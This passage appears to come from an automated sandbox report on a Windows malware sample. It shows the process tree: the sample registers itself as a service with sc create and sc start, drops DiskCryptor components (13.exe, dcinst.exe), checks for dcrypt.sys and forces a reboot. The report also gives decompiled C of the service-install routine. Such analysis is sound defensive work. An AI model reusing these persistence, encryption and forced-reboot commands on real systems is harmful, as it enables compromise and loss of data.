Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c sc create JPfnJ binpath= "C:\Users\user\Desktop\09490699.exe" >> C:\servicereg.log 2>&1
Imagebase:	0xd90000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5144, Parent PID: 5136

General

Target ID:	1
Start time:	10:02:45
Start date:	09/06/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: sc.exePID: 5428, Parent PID: 5136

General

Target ID:	2
Start time:	10:02:45
Start date:	09/06/2023
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	sc create JPfnJ binpath= "C:\Users\user\Desktop\09490699.exe"
Imagebase:	0x350000
File size:	60928 bytes
MD5 hash:	24A3E2603E63BCB9695A2935D3B24695
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 5588, Parent PID: 3292

General

Target ID:	3
Start time:	10:02:46
Start date:	09/06/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c sc start JPfnJ >> C:\servicestart.log 2>&1
Imagebase:	0xd90000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 7056, Parent PID: 5588

General

Target ID:	4
Start time:	10:02:47
Start date:	09/06/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: sc.exePID: 7060, Parent PID: 5588

General

Target ID:	5
Start time:	10:02:47
Start date:	09/06/2023
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	sc start JPfnJ
Imagebase:	0x350000
File size:	60928 bytes
MD5 hash:	24A3E2603E63BCB9695A2935D3B24695
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: 09490699.exePID: 4564, Parent PID: 576

General

Target ID:	6
Start time:	10:02:47
Start date:	09/06/2023
Path:	C:\Users\user\Desktop\09490699.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\09490699.exe
Imagebase:	0x400000
File size:	4408320 bytes
MD5 hash:	3AAB057312F4F899B322F3F282EBA2F3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 5472, Parent PID: 4564

General

Target ID:	7
Start time:	10:02:48
Start date:	09/06/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c 13.exe x -y 50
Imagebase:	0xd90000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5140, Parent PID: 5472

General

Target ID:	8
Start time:	10:02:48
Start date:	09/06/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: 13.exePID: 5144, Parent PID: 5472

General

Target ID:	9
Start time:	10:02:48
Start date:	09/06/2023
Path:	C:\Disgusting\13.exe
Wow64 process (32bit):	true
Commandline:	13.exe x -y 50
Imagebase:	0x1230000
File size:	290816 bytes
MD5 hash:	A42B35F975D88C1370A7AFF084EE57A7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: INDICATOR_TOOL_ENC_DiskCryptor, Description: Detect DiskCryptor open encryption solution that offers encryption of all disk partitions, Source: 00000009.00000003.566050147.0000000001280000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen
Antivirus matches:	Detection: 0%, ReversingLabs

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 5828, Parent PID: 4564

General

Target ID:	10
Start time:	10:02:49
Start date:	09/06/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c if exist %windir%\Sysnative\drivers\dcrypt.sys (echo 1) else (echo 0)
Imagebase:	0xd90000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5776, Parent PID: 5828

General

Target ID:	11
Start time:	10:02:49
Start date:	09/06/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: dcinst.exePID: 2408, Parent PID: 4564

General

Target ID:	12
Start time:	10:02:49
Start date:	09/06/2023
Path:	C:\Disgusting\dcinst.exe
Wow64 process (32bit):	false
Commandline:	dcinst.exe -setup
Imagebase:	0x7ff6c1600000
File size:	9728 bytes
MD5 hash:	FF5F598D99FD00F998FFA8DAC3BB620A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs

Show Windows behavior

Chronological Activities

Analysis Process: shutdown.exePID: 1952, Parent PID: 4564

General

Target ID:	13
Start time:	10:02:50
Start date:	09/06/2023
Path:	C:\Windows\SysWOW64\shutdown.exe
Wow64 process (32bit):	true
Commandline:	shutdown -r -t 0 -f
Imagebase:	0x11b0000
File size:	23552 bytes
MD5 hash:	E2EB9CC0FE26E28406FB6F82F8E81B26
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 7148, Parent PID: 1952

General

Target ID:	14
Start time:	10:02:50
Start date:	09/06/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: 09490699.exePID: 4564, Parent PID: 576COMMON

Executed Functions

Function 00401770 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 226
serviceCOMMON

Download Yara Rule

C-Code - Quality: 15%

			E00401770(void* _a4) {
				void* _v8;
				char _v12;
				char _v534;
				signed int _v552;
				signed int _v556;
				char* _v560;
				char _v576;
				short* _v580;
				short* _v584;
				short* _v588;
				short* _v592;
				intOrPtr _v596;
				char _v600;
				signed int _v604;
				intOrPtr _v616;
				intOrPtr _v620;
				char* _v624;
				intOrPtr _v628;
				intOrPtr _v632;
				wchar_t* _v648;
				intOrPtr _v652;
				char _v656;
				wchar_t* _v660;
				signed short* _v664;
				intOrPtr _v716;
				int _v720;
				wchar_t* _v724;
				short* _v728;
				wchar_t* _v732;
				void* _v736;
				char _v740;
				void* _v744;
				char _v748;
				void* _v752;
				void* _v756;
				char _v760;
				void* __ebx;
				int _t101;
				int _t104;
				int _t107;
				wchar_t* _t108;
				wchar_t* _t109;
				char _t111;
				char _t112;
				int _t114;
				intOrPtr _t116;
				signed short* _t119;
				char* _t121;
				void* _t125;
				char* _t128;
				short* _t129;
				void* _t135;
				void* _t139;
				intOrPtr* _t140;
				intOrPtr* _t147;
				signed short* _t150;
				signed int _t151;
				void* _t152;
				signed int _t161;
				signed int _t162;
				signed short* _t163;
				void* _t164;
				void* _t165;
				struct _SERVICE_TABLE_ENTRY* _t166;
				void* _t167;
				void* _t170;
				intOrPtr _t171;
				void* _t172;
				void* _t173;
				void* _t176;
				void* _t178;
				void* _t180;

				_t167 = _t170;
				_t171 = _t170 - 0x2d4;
				_v632 = 0x405450;
				_v628 = 0x4eab6a;
				_v624 =  &_v12;
				_v616 = _t171;
				_v620 = 0x401b02;
				_v732 =  &_v656;
				E0042BEC0(_t152, _t139);
				_v600 = L"Hard-to-Destroy Reptile";
				_v596 = 0x401350;
				_v592 = 0;
				_v588 = 0;
				_v732 =  &_v600;
				_v652 = 0xffffffff;
				_t101 = StartServiceCtrlDispatcherW(_t166); // executed
				_t172 = _t171 - 4;
				if(_t101 == 0) {
					_v580 = 0;
					_v584 =  &_v576;
					_v576 = 0;
					_t104 = wcslen(L"net start \"");
					_v724 = L"net start \"";
					_v720 = _t104;
					_t147 =  &_v584;
					_v732 = 0;
					_v728 = _v580;
					_v652 = 1;
					E004BC800(_t139, _t147, _t164, _t165, _t167);
					_t173 = _t172 - 0x10;
					_v748 = L"Hard-to-Destroy Reptile";
					_t107 = wcslen(??);
					if(_t107 > 0x3fffffff - _v580) {
						L21:
						_v732 = "basic_string::append";
						E00406BD0();
						goto L22;
					} else {
						_t147 =  &_v584;
						_v728 = _t107;
						_v732 = L"Hard-to-Destroy Reptile";
						_v652 = 1;
						E004BE780(_t147);
						_t173 = _t173 - 8;
						_v740 = "\"";
						_t114 = wcslen(??);
						if(_t114 > 0x3fffffff - _v580) {
							_v732 = "basic_string::append";
							E00406BD0();
							_v660 = _v648;
							_t116 = _v652;
							if(_t116 != 0) {
								if(_t116 != 1) {
									asm("ud2");
									goto L21;
								}
								L22:
								_t108 = _v560;
								if(_t108 !=  &_v552) {
									_v732 = _t108;
									L00405CE0();
								}
							}
							_t109 = _v584;
							if(_t109 !=  &_v576) {
								_v732 = _t109;
								L00405CE0();
							}
							_v732 = _v660;
							_v652 = 0xffffffff;
							E0042C520();
							0;
							_push(_t139);
							_t140 = _t147;
							_t111 =  *((intOrPtr*)(_t147 + 0x1c));
							 *_t147 = 0x4fa8e0;
							if(_t111 != _t147 + 0x24) {
								_v760 = _t111;
								L00405CE0();
							}
							_t112 =  *((intOrPtr*)(_t140 + 4));
							if(_t112 != _t140 + 0xc) {
								_v760 = _t112;
								L00405CE0();
							}
							return _t112;
						} else {
							_v728 = _t114;
							_v732 = "\"";
							_v652 = 1;
							E004BE780( &_v584);
							_t119 = _v584;
							_t176 = _t173 - 8;
							_t161 = _v580 + _v580;
							_v664 = _t119;
							_t162 = _t161 >> 1;
							_v660 = _t119 + _t161;
							_t121 =  &_v552;
							_v604 = _t162;
							_v560 = _t121;
							if(_t162 > 0xf) {
								_v728 = 0;
								_v732 =  &_v604;
								_t121 = E004BBC10();
								_t162 = _v604;
								_t176 = _t176 - 8;
								_v560 = _t121;
								_v552 = _t162;
							}
							_t150 = _v664;
							if(_t150 != _v660) {
								_t163 = _t150;
								goto L7;
								L7:
								_t151 =  *_t163 & 0x0000ffff;
								_t121 = _t121 + 1;
								_t163 =  &(_t163[1]);
								 *(_t121 - 1) = _t151;
								if(_v660 != _t163) {
									goto L7;
								} else {
									_t121 = _v560;
									_t162 = _v604;
								}
							}
							_v556 = _t162;
							 *((char*)(_t121 + _t162)) = 0;
							_v724 = 0x105;
							_v732 = 0;
							_v728 =  &_v534;
							_v652 = 2;
							GetModuleFileNameW(??, ??, ??);
							_t125 = OpenSCManagerW(0, 0, 0xf003f);
							_t178 = _t176;
							_v660 = _t125;
							if(_t125 != 0) {
								 *(_t178 + 0x30) = 0;
								 *(_t178 + 0x2c) = 0;
								 *(_t178 + 0x28) = 0;
								 *(_t178 + 0x24) = 0;
								 *(_t178 + 0x20) = 0;
								 *((intOrPtr*)(_t178 + 0x1c)) =  &_v534;
								 *((intOrPtr*)(_t178 + 0x18)) = 1;
								 *((intOrPtr*)(_t178 + 0x14)) = 2;
								_v716 = 0x10;
								_v720 = 0xf01ff;
								_v724 = L"Hard-to-Destroy Reptile";
								_v728 = L"Hard-to-Destroy Reptile";
								_v732 = _v660;
								_v652 = 2;
								_t135 = CreateServiceW(??, ??, ??, ??, ??, ??, ??, ??, ??, ??, ??, ??, ??);
								_t180 = _t178 - 0x34;
								if(_t135 != 0) {
									_v732 = _t135;
									_v652 = 2;
									CloseServiceHandle(??);
									_t180 = _t180 - 4;
								}
								_v732 = _v660;
								_v652 = 2;
								CloseServiceHandle(??);
							}
							system(_v560);
							_t128 = _v560;
							if(_t128 !=  &_v552) {
								_v732 = _t128;
								L00405CE0();
							}
							_t129 = _v584;
							if(_t129 !=  &_v576) {
								_v732 = _t129;
								L00405CE0();
							}
							goto L1;
						}
					}
				} else {
					L1:
					E0042C020(_t162,  &_v656);
					return 0;
				}
			}

0x00401771
0x00401777
0x0040177d
0x00401787
0x00401791
0x0040179d
0x004017a3
0x004017ad
0x004017b0
0x004017bb
0x004017c5
0x004017cf
0x004017d9
0x004017e3
0x004017e6
0x004017f0
0x004017f5
0x004017fa
0x00401819
0x00401823
0x0040182b
0x00401839
0x0040183e
0x00401846
0x0040184a
0x00401856
0x0040185d
0x00401861
0x0040186b
0x00401870
0x00401873
0x0040187a
0x0040188c
0x00401b22
0x00401b22
0x00401b29
0x00000000
0x00401892
0x00401892
0x00401898
0x0040189c
0x004018a3
0x004018ad
0x004018b2
0x004018b5
0x004018bc
0x004018ce
0x00401af6
0x00401afd
0x00401b0b
0x00401b11
0x00401b19
0x00401b1e
0x00401b20
0x00000000
0x00401b20
0x00401b2e
0x00401b2e
0x00401b3c
0x00401b3e
0x00401b41
0x00401b41
0x00401b3c
0x00401b46
0x00401b54
0x00401b56
0x00401b59
0x00401b59
0x00401b64
0x00401b67
0x00401b71
0x00401b7c
0x00401b80
0x00401b84
0x00401b89
0x00401b8c
0x00401b94
0x00401b96
0x00401b99
0x00401b99
0x00401b9e
0x00401ba6
0x00401ba8
0x00401bab
0x00401bab
0x00401bb4
0x004018d4
0x004018da
0x004018de
0x004018e5
0x004018ef
0x004018fa
0x00401900
0x00401903
0x00401905
0x0040190d
0x0040190f
0x00401915
0x0040191e
0x00401924
0x0040192a
0x00401acc
0x00401ad4
0x00401ad7
0x00401adc
0x00401ae2
0x00401ae5
0x00401aeb
0x00401aeb
0x00401930
0x0040193e
0x00401940
0x00401940
0x00401942
0x00401942
0x00401945
0x00401948
0x0040194b
0x00401954
0x00000000
0x00401956
0x00401956
0x0040195c
0x0040195c
0x00401954
0x00401962
0x00401968
0x00401972
0x0040197a
0x00401981
0x00401985
0x0040198f
0x004019ae
0x004019b3
0x004019b8
0x004019be
0x004019ca
0x004019d2
0x004019da
0x004019e2
0x004019ea
0x004019f2
0x004019f6
0x004019fe
0x00401a06
0x00401a0e
0x00401a16
0x00401a1e
0x00401a2c
0x00401a2f
0x00401a39
0x00401a3e
0x00401a43
0x00401a45
0x00401a48
0x00401a52
0x00401a57
0x00401a57
0x00401a60
0x00401a63
0x00401a6d
0x00401a72
0x00401a84
0x00401a89
0x00401a91
0x00401a93
0x00401a96
0x00401a96
0x00401a9b
0x00401aa9
0x00401aaf
0x00401ab2
0x00401ab2
0x00000000
0x00401aa9
0x004018ce
0x004017fc
0x004017fc
0x00401805
0x00401810
0x00401810

APIs

StartServiceCtrlDispatcherW.ADVAPI32 ref: 004017F0
wcslen.MSVCRT ref: 00401839
wcslen.MSVCRT ref: 0040187A
wcslen.MSVCRT ref: 004018BC
GetModuleFileNameW.KERNEL32 ref: 0040198F
OpenSCManagerW.ADVAPI32 ref: 004019AE
CreateServiceW.ADVAPI32 ref: 00401A39

Strings

Hard-to-Destroy Reptile, xrefs: 004017BB, 00401873, 0040189C, 00401A16, 00401A1E
net start ", xrefs: 00401832, 0040183E
?, xrefs: 00401997
basic_string::append, xrefs: 00401AF6, 00401B22

Memory Dump Source

Source File: 00000006.00000002.569466866.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.569459495.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569612083.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569618790.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.0000000000502000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000506000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.00000000007FF000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: wcslen$Service$CreateCtrlDispatcherFileManagerModuleNameOpenStart
String ID: ?$Hard-to-Destroy Reptile$basic_string::append$net start "
API String ID: 1228944750-2874834207
Opcode ID: a4cb1b42f3cab33adac3c4da1d66912fb668a8e3de1b9ad7bb0ef900c7f2ce8e
Instruction ID: e1e0f8f15e100237b3f2f30bafd7df8699e0227551d3757cb11412066e508e73
Opcode Fuzzy Hash: a4cb1b42f3cab33adac3c4da1d66912fb668a8e3de1b9ad7bb0ef900c7f2ce8e
Instruction Fuzzy Hash: 0AB14DB49052198FCB20EF65C88979EBBF0FF44304F5089AED488A7351E7789A88CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 13.6, APIs: 9, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 32%

			E00401000(void* __edi, void* __esi) {
				char _v20;
				char _v24;
				char* _v48;
				char _v52;
				signed int** _v56;
				void* _v60;
				signed int _v76;
				intOrPtr _v100;
				void* __ebx;
				intOrPtr* _t27;
				_Unknown_base(*)()* _t28;
				intOrPtr _t31;
				intOrPtr* _t33;
				intOrPtr* _t35;
				intOrPtr _t37;
				intOrPtr _t38;
				void* _t39;
				signed int _t42;
				intOrPtr _t49;
				intOrPtr _t51;
				intOrPtr _t53;
				void* _t54;
				signed int _t55;
				intOrPtr _t56;
				void* _t57;
				void* _t58;
				void* _t59;
				void* _t60;
				signed int _t61;
				signed int _t62;
				intOrPtr* _t63;

				_t58 = __esi;
				_t57 = __edi;
				_t60 = _t59 - 0x38;
				_t27 =  *0x4f66c0; // 0x42b0f0
				if(_t27 != 0) {
					_v52 = 0;
					_v56 = 2;
					_v60 = 0;
					 *_t27();
					_t60 = _t60 - 0xc;
				}
				_v60 = 0x401110; // executed
				_t28 = SetUnhandledExceptionFilter(??); // executed
				_t61 = _t60 - 4;
				E0042B190();
				E0042B270(_t28);
				_v48 =  &_v20;
				_t31 =  *0x4ee140; // 0xffffffff
				_v60 = 0x4ff000;
				 *_t61 = 0x4ff004;
				_v20 = 0;
				_v52 = _t31;
				_v56 =  &_v24;
				L00435890();
				_t33 =  *0x5007ac; // 0x0
				if(_t33 != 0) {
					_t53 = __imp___iob;
					 *0x4ee144 = _t33;
					_v60 = _t33;
					 *_t61 =  *((intOrPtr*)(_t53 + 0x10));
					L00435898();
					_t49 =  *0x5007ac; // 0x0
					_v60 = _t49;
					 *_t61 =  *((intOrPtr*)(_t53 + 0x30));
					L00435898();
					_t51 =  *0x5007ac; // 0x0
					_v60 = _t51;
					_t33 =  *((intOrPtr*)(_t53 + 0x50));
					 *_t61 = _t33;
					L00435898();
				}
				L004358A0();
				_t56 =  *0x4ee144; // 0x4000
				 *_t33 = _t56;
				E0042B3F0(_t53, _t57, _t58);
				_t62 = _t61 & 0xfffffff0;
				_t35 = E0042B650();
				L004358A8();
				_v56 =  *_t35;
				_t37 =  *0x4ff000; // 0xb90d30
				_v60 = _t37;
				_t38 =  *0x4ff004; // 0x1
				 *_t62 = _t38; // executed
				_t39 = E004EAA40(); // executed
				_t54 = _t39;
				L004358B0();
				 *_t62 = _t54; // executed
				ExitProcess(??); // executed
				_push(_t54);
				_t63 = _t62 - 0x28;
				_t42 =  *( *_v56);
				if(_t42 > 0xc0000091) {
					if(_t42 == 0xc0000094) {
						_t55 = 0;
						goto L7;
					}
					if(_t42 == 0xc0000096) {
						goto L17;
					}
					if(_t42 != 0xc0000093) {
						goto L9;
					}
					goto L6;
				} else {
					if(_t42 < 0xc000008d) {
						if(_t42 == 0xc0000005) {
							_v100 = 0;
							 *_t63 = 0xb;
							L004358B8();
							if(_t42 == 1) {
								_v100 = 1;
								 *_t63 = 0xb;
								L004358B8();
								_t43 = _t42 | 0xffffffff;
								L10:
								return _t43;
							}
							if(_t42 == 0) {
								L9:
								_t43 = 0;
								goto L10;
							}
							 *_t63 = 0xb;
							 *_t42();
							_t43 = 0xffffffff;
							goto L10;
						}
						if(_t42 != 0xc000001d) {
							goto L9;
						}
						L17:
						_v100 = 0;
						 *_t63 = 4;
						L004358B8();
						if(_t42 == 1) {
							_v100 = 1;
							 *_t63 = 4;
							L004358B8();
							_t43 = _t42 | 0xffffffff;
							goto L10;
						}
						if(_t42 == 0) {
							goto L9;
						}
						 *_t63 = 4;
						 *_t42();
						_t43 = 0xffffffff;
						goto L10;
					}
					L6:
					_t55 = 1;
					L7:
					_v100 = 0;
					 *_t63 = 8;
					L004358B8();
					if(_t42 == 1) {
						_v100 = 1;
						 *_t63 = 8;
						L004358B8();
						_t43 = 0xffffffff;
						if(_t55 != 0) {
							_v76 = 0xffffffff;
							E0042B270(0xffffffff);
							_t43 = _v76;
						}
						goto L10;
					}
					if(_t42 != 0) {
						 *_t63 = 8;
						 *_t42();
						_t43 = 0xffffffff;
						goto L10;
					}
					goto L9;
				}
			}

0x00401000
0x00401000
0x00401001
0x00401004
0x0040100b
0x0040100d
0x00401015
0x0040101d
0x00401024
0x00401026
0x00401026
0x00401029
0x00401030
0x00401035
0x00401038
0x0040103d
0x00401046
0x0040104a
0x0040104f
0x00401057
0x0040105e
0x00401066
0x0040106e
0x00401072
0x00401077
0x0040107e
0x00401080
0x00401086
0x0040108b
0x00401092
0x00401095
0x0040109a
0x0040109f
0x004010a6
0x004010a9
0x004010ae
0x004010b3
0x004010b7
0x004010ba
0x004010bd
0x004010bd
0x004010c2
0x004010c7
0x004010cd
0x004010cf
0x004010d4
0x004010d7
0x004010dc
0x004010e3
0x004010e7
0x004010ec
0x004010f0
0x004010f5
0x004010f8
0x004010fd
0x004010ff
0x00401104
0x00401107
0x00401110
0x00401111
0x0040111a
0x00401121
0x00401165
0x004011b2
0x00000000
0x004011b2
0x0040116c
0x00000000
0x00000000
0x00401173
0x00000000
0x00000000
0x00000000
0x00401123
0x00401128
0x0040117c
0x004011c0
0x004011c8
0x004011cf
0x004011d7
0x00401223
0x0040122b
0x00401232
0x00401237
0x00401156
0x0040115a
0x0040115a
0x004011db
0x00401154
0x00401154
0x00000000
0x00401154
0x004011e1
0x004011e8
0x004011ea
0x00000000
0x004011ea
0x00401183
0x00000000
0x00000000
0x00401185
0x00401185
0x0040118d
0x00401194
0x0040119c
0x00401207
0x0040120f
0x00401216
0x0040121b
0x00000000
0x0040121b
0x004011a0
0x00000000
0x00000000
0x004011a2
0x004011a9
0x004011ab
0x00000000
0x004011ab
0x0040112a
0x0040112a
0x0040112f
0x0040112f
0x00401137
0x0040113e
0x00401146
0x00401240
0x00401248
0x0040124f
0x00401256
0x0040125b
0x00401261
0x00401265
0x0040126a
0x0040126a
0x00000000
0x0040125b
0x0040114e
0x004011f4
0x004011fb
0x004011fd
0x00000000
0x004011fd
0x00000000
0x0040114e

APIs

SetUnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00401295), ref: 00401030
__getmainargs.MSVCRT ref: 00401072
_setmode.MSVCRT ref: 00401095
_setmode.MSVCRT ref: 004010A9
_setmode.MSVCRT ref: 004010BD
__p__fmode.MSVCRT ref: 004010C2
__p__environ.MSVCRT ref: 004010DC
_cexit.MSVCRT ref: 004010FF
ExitProcess.KERNEL32 ref: 00401107

Memory Dump Source

Source File: 00000006.00000002.569466866.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.569459495.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569612083.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569618790.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.0000000000502000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000506000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.00000000007FF000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: _setmode$ExceptionExitFilterProcessUnhandled__getmainargs__p__environ__p__fmode_cexit
String ID:
API String ID: 3695137517-0
Opcode ID: 79589a5bfb9905c94d6217e29e82b931ffee0614e2638781bcd1ebbb8dbb4cbb
Instruction ID: 038996c0be00220104911a1cbcac05d1d0cafb18377f0de880cba71182ecec92
Opcode Fuzzy Hash: 79589a5bfb9905c94d6217e29e82b931ffee0614e2638781bcd1ebbb8dbb4cbb
Instruction Fuzzy Hash: E72183B49047009FC700FF76D58561ABBE0FF48308F40992EE88497352D778A8549F5A

Uniqueness

Uniqueness Score: -1.00%

Function 0043BBA0 Relevance: 31.6, APIs: 11, Strings: 7, Instructions: 128synchronizationstringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 0043BBAF
memcpy.MSVCRT ref: 0043BC06
CreateMutexA.KERNEL32 ref: 0043BC68
WaitForSingleObject.KERNEL32 ref: 0043BC83
FindAtomA.KERNEL32 ref: 0043BC93
malloc.MSVCRT ref: 0043BCAA
AddAtomA.KERNEL32 ref: 0043BCD3
free.MSVCRT ref: 0043BCFC
ReleaseMutex.KERNEL32 ref: 0043BD07
CloseHandle.KERNEL32 ref: 0043BD12

Strings

aaaa, xrefs: 0043BC21
aaaa, xrefs: 0043BC36
aaaa, xrefs: 0043BC44
aaaa, xrefs: 0043BC2F
aaaa, xrefs: 0043BC28
aaaa, xrefs: 0043BC3D
aaaa, xrefs: 0043BC1A

Memory Dump Source

Source File: 00000006.00000002.569466866.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.569459495.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569612083.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569618790.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.0000000000502000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000506000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.00000000007FF000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: AtomMutex$CloseCreateFindHandleObjectReleaseSingleWaitfreemallocmemcpystrlen
String ID: aaaa$aaaa$aaaa$aaaa$aaaa$aaaa$aaaa
API String ID: 3576127839-3683700703
Opcode ID: ee0db68de6481c0994763ffae7994c5cc8ca2093a122c3e8b67842393bd8fc91
Instruction ID: c827c758f2d136e9a31154cb9f76677f766d7451d9da995bad5566dbaf9c5cb2
Opcode Fuzzy Hash: ee0db68de6481c0994763ffae7994c5cc8ca2093a122c3e8b67842393bd8fc91
Instruction Fuzzy Hash: E2517DB49087858BC700AF29D48236FBBF0EF48304F10992EE8849B346D778D955CBD6

Uniqueness

Uniqueness Score: -1.00%

Function 0042CC10 Relevance: 31.6, APIs: 11, Strings: 7, Instructions: 126synchronizationstringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 0042CC1F
memcpy.MSVCRT ref: 0042CC76
CreateMutexA.KERNEL32(?,?,?,?,?,?,?,?,?,?,0000000A,?,?,0042BF7F), ref: 0042CCD8
WaitForSingleObject.KERNEL32(?,?,?,?,?,?,?,?,?,0000000A,?,?,0042BF7F), ref: 0042CCF3
FindAtomA.KERNEL32 ref: 0042CD03
malloc.MSVCRT ref: 0042CD1A
AddAtomA.KERNEL32 ref: 0042CD43
free.MSVCRT ref: 0042CD6C
ReleaseMutex.KERNEL32 ref: 0042CD77
